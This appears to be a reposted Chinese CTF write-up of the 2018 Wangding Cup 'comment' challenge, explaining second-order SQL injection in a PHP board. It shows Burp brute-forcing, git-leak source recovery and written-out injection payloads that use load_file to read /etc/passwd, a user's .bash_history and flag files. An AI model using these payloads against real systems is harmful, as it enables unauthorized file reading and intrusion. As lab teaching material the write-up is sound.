二次注入(2018网鼎杯comment)

news2024/9/24 13:19:47

一、2018网鼎杯comment

该题主要考察二次注入

1.二次注入概念:

攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。即输入恶意的数据库查询语句时会被转义,但在数据库调用读取语句时又被还原导致语句执行。

进入网站:BUUCTF在线评测

搜索comment

2.进入靶机:

4. Burp Suite暴力破解

 点击发布,会出现登陆界面

 此时密码后三位被隐藏,我们可以使用Burp Suite中的Intruder模块进行暴力破解 

 根据长度判断后三位正确密码为666,得到密码后返回登陆界面,进入靶机。 

5.对文件进行恢复,查看源码

通过对目录进行扫描,发现存在git泄露,通过githacker工具将文件恢复一下,得到源码。

//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

可以看到addslashes给每个参数都进行了处理,但是数据库存入数据时会自动过滤,将转义字符丢弃,也就是数据还是会原样进入到数据库中。

6.二次注入

 write指发帖,comment指发送评论。write下边,所有可控制的值都被addslashes转义了。但是comment下边,它把category值重新选取出来,并且没有进行过滤就带入了sql语句。很明显,这就是我们要找的注入点。这里注入就一定要绕过单引号。

case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];

 即使在write下单引号被转义。但是那个单引号再次被数据库选出来时,它又恢复了单引号的特殊含义。 现在category='1',content=database()。/*是php的注释符,将后边的引号注释掉。但是这么注释存在问题,我们构造了一个content,当然/*也要闭合掉一个content。

insert into comment
       set category = ' 1',content=user(),/*',
           content = '111',
           bo_id = '$bo_id'";

content是评论的内容。在评论区提交*/#,/**/形成闭合后,将content注释掉了,同时也绕过了引号。注意#是单行注释

insert into comment
       set category = ' 1',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

先读取/etc/passwd

',content=(select(load_file("/etc/passwd"))),/*

发现存在www用户,读取用户的命令执行历史

',content=(select(load_file("/home/www/.bash_history"))),/*

先进入/tmp目录,解压缩了html.zip文件(得到/tmp/html),之后将html.zip删除了,拷贝了一份html给了/var/www目录(得到/var/www/html),之后将/var/www/html下的.DS_Store文件删除,但是/tmp/html下的.DS_Store文件没有删除,查看一下,然后因为这种文件直接读取通常存在乱码,所以要转进制读取才行。

 ',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

将上述得到的源码进行 ASCII hex解码得到flag_8946e1ff1ee3e40f.php

所以尝试查看一下/tmp/html/flag_8946e1ff1ee3e40f.php

',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*

 这是一个假的flag,真的flag可能在/var/www/html目录下

    ',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

解码后得到

 7.成功拿到flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1981811.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【LeetCode Cookbook(C++ 描述)】一刷二叉树之递归遍历(DFS)(上)

目录 二叉树的实现LeetCode #144&#xff1a;Binary Tree Preorder Traversal 二叉树的前序遍历递归解法「遍历」思路「分而治之」思路更多例子&#xff1a;求二叉树最大深度 迭代解法Morris 遍历 LeetCode #94&#xff1a;Binary Tree Inorder Traversal 二叉树的中序遍历迭代…

亲民且友好的Top期刊,最快46天录用!

本期小编解析一本超亲民超友好的Top期刊&#xff0c;发文量大&#xff0c;编辑处理速度极快&#xff08;近期案例46天录用&#xff09;&#xff0c;毕业有高分区发文要求的小伙伴&#xff0c;赶紧码住这一本神刊&#xff01; 期刊简介 Knowledge-Based Systems (KBS) 出版社 …

AI智能测评应用平台项目分享

大家好&#xff0c;我是程序媛雪儿&#xff0c;今天咱们聊个我新学的项目&#xff0c;AI智能评测应用平台系统。 咱们先了解一下这个系统是干嘛的。 一、业务分析 大致业务流程是应用制作者在创建应用页面填写应用信息&#xff0c;依次添加题目和评分规则生成测评应用&#xff…

信息学奥赛初赛天天练-56-CSP-J2019完善程序2-双关键字排序、计数排序、前缀和、前缀自增、后缀自增、数组下标自增

PDF文档公众号回复关键字:20240805 1 完善程序 (单选题 &#xff0c;每小题3分&#xff0c;共30分) 计数排序 计数排序是一个广泛使用的排序方法。下面的程序使用双关键字计数排序&#xff0c;将 n 对 10000以内的整数&#xff0c;从小到大排序。 例如有三对整数 (3,4)、(2,…

标准IO及相关练习

标准IO 能够将指定的数据写入指定的文件中的操作&#xff08;通过文件指针去访问指定的文件&#xff1a;FILE*&#xff09;&#xff0c;标注IO只提供写入或者读取操作&#xff0c;不提供删除文件中的内容&#xff0c;想要删除文件&#xff0c;则需要自己写逻辑来实现。 文件指…

【LeetCode Cookbook(C++ 描述)】一刷哈希表(Hash Table)(下)

目录 LeetCode #349&#xff1a;Intersection of Two Arrays 两个数组的交集LeetCode #383&#xff1a;Ransom Note 赎金信LeetCode #454&#xff1a;4Sum II - 四数相加 II 本系列文章仅是 GitHub 大神 halfrost 的刷题笔记 《LeetCode Cookbook》的提纲以及示例、题集的 C转化…

办公楼子母钟系统,不止显示时间,还可以做临时告示牌

在现代办公环境中&#xff0c;时间管理对于提高工作效率至关重要。传统的时钟往往只能提供最基本的时间显示功能&#xff0c;而在快节奏的办公楼里&#xff0c;一个既能准确显示时间又能发布紧急通知的系统显得尤为必要。本文将介绍办公楼子母钟系统的独特优势及其在不同场景中…

TOOL使用

一、代码生成器 1.页面代码生成&#xff08;前端&#xff09; 生成后会在前端&#xff08;pc&#xff09;代码中看得到代码&#xff0c;可在此做二次开发&#xff1a; 代码生成器中新建不同模块&#xff0c;对应着modules文件夹下文件夹—>生成代码时&#xff0c;选择对应…

50etf期权怎么可以买跌做空吗?

50ETF期权可以做买方也可以做卖方&#xff0c;并且50ETF期权还能够买涨买跌双向交易&#xff0c;50ETF期权可以看涨期权和看跌期权&#xff0c;所以50ETF期权是可以买跌做空的&#xff0c;并且50ETF期权是很适合进行做空操作的&#xff0c;下文为大家介绍50etf期权怎么可以买跌…

如何将.bin文件,hex方式查看里面数据。以自己需要的任何长度来分割

liunux环境编译命令&#xff1a; gcc test.cpp -o testtest.cpp 文件&#xff1a; instring 为需要被分割的文件&#xff1a; outstring 为分割后的文件&#xff1a; #include <stdio.h> #include <unistd.h> #include <string.h> #include <sys/types.…

NSF共享目录未授权访问

NSF共享目录未授权访问 Network File System(NFS)&#xff0c;是由SUN公司研制的UNIX表示层协议(pressentation layer protocol)&#xff0c;能使使用者访问网络上别处的文件就像在使用自己的计算机一样。服务器在启用nfs服务以后&#xff0c;由于fs服务未限制对外访问&#x…

同步时钟系统,防水效果出色,无惧户外雨天环境

在我们的日常生活和工作中&#xff0c;时钟是不可或缺的存在。然而&#xff0c;传统时钟在使用过程中逐渐暴露出一些问题。 传统时钟通常依靠机械结构或简单的电子元件来保持时间的准确性&#xff0c;这使得它们容易受到外界因素的干扰。例如&#xff0c;温度的变化可能导致机芯…

NAS性能巅峰的第二选择 | 极空间Z423标准版开箱体验,强大的不仅仅只是配置

NAS性能巅峰的第二选择 | 极空间Z423标准版开箱体验&#xff0c;强大的不仅仅只是配置 哈喽小伙伴们好&#xff0c;我是Stark-C~ 在去年10月份新品发布会的时候&#xff0c;极空间推出了堪称私有云性能巅峰的『极空间Z423』。作为当前民用级NAS配置的天花板&#xff0c;极空间…

安防视频监控EasyCVR视频汇聚平台设备发送了GPS位置,但是订阅轨迹为空是什么原因?

安防视频监控EasyCVR视频汇聚平台兼容性强、支持灵活拓展&#xff0c;平台可提供视频远程监控、录像、存储与回放、视频转码、视频快照、告警、云台控制、语音对讲、GIS地图、轨迹跟踪、平台级联等视频能力。 用户描述&#xff0c;设备在电子地图中可以查看到定位信息&#xff…

简单操作,轻松创作专业级电子书

在当今数字化时代&#xff0c;电子书的崛起为创作者们带来了前所未有的便利和创作自由。相较于传统印刷书籍&#xff0c;现代电子书的制作过程不再是一项复杂而耗时的任务&#xff0c;而是通过简单操作就能轻松实现的专业级创作。 但是你知道该如何创作专业级的电子书吗&#x…

STM32的FATFS文件系统移植

准备工作 本移植基于STM32HAL库&#xff0c;在开始移植之前准备好一个Cubemx、一个待移植的FATFS源码和一张文件格式为FAT32且大小小于等于32G的SD卡。本项目用的是正点原子的F103开发板。 源码下载&#xff1a;FatFs - Generic FAT Filesystem Module 移植开始 cubemx代码 此…

图片无损压缩工具都有哪些?试试这3款巨好用的压缩软件!支持在线使用

3个图片无损压缩工具推荐&#xff0c;在线免费使用 请你一定要收藏好&#xff01; 1、转转大师 推荐指数&#xff1a;⭐⭐⭐⭐⭐ 直达链接>>pdftoword.55.la 转转大师是一个专业文档转换工具&#xff0c;支持在线编辑&#xff0c;也是微软office官方中国合作伙伴&…

07.FreeRTOS列表与列表项

文章目录 07. FreeRTOS列表与列表项1. 列表和列表项的简介2. 列表相关API函数3. 代码验证 07. FreeRTOS列表与列表项 1. 列表和列表项的简介 列表的定义&#xff1a; typedef struct xLIST {listFIRST_LIST_INTEGRITY_CHECK_VALUE /* 校验值 */volatile UBaseType_t uxN…

吴恩达机器学习-可选的实验室-正则化成本和梯度

目标 在本实验中&#xff0c;你将: 用正则化项扩展前面的线性和逻辑代价函数。重新运行前面添加正则化项的过拟合示例。 import numpy as np %matplotlib widget import matplotlib.pyplot as plt from plt_overfit import overfit_example, output from lab_utils_common i…

关于vs2022项目占用空间太大的问题

之前在分享vs2022项目&#xff08;估计其它vs版本也差不多&#xff09;的时候发现项目占用空间比较大&#xff0c;即使压缩也不利于上传网盘&#xff0c;于是看了一下目录&#xff0c;发现有个隐藏的.vs目录&#xff0c;里面有个和项目同名的文件夹&#xff0c;占用着很大的空间…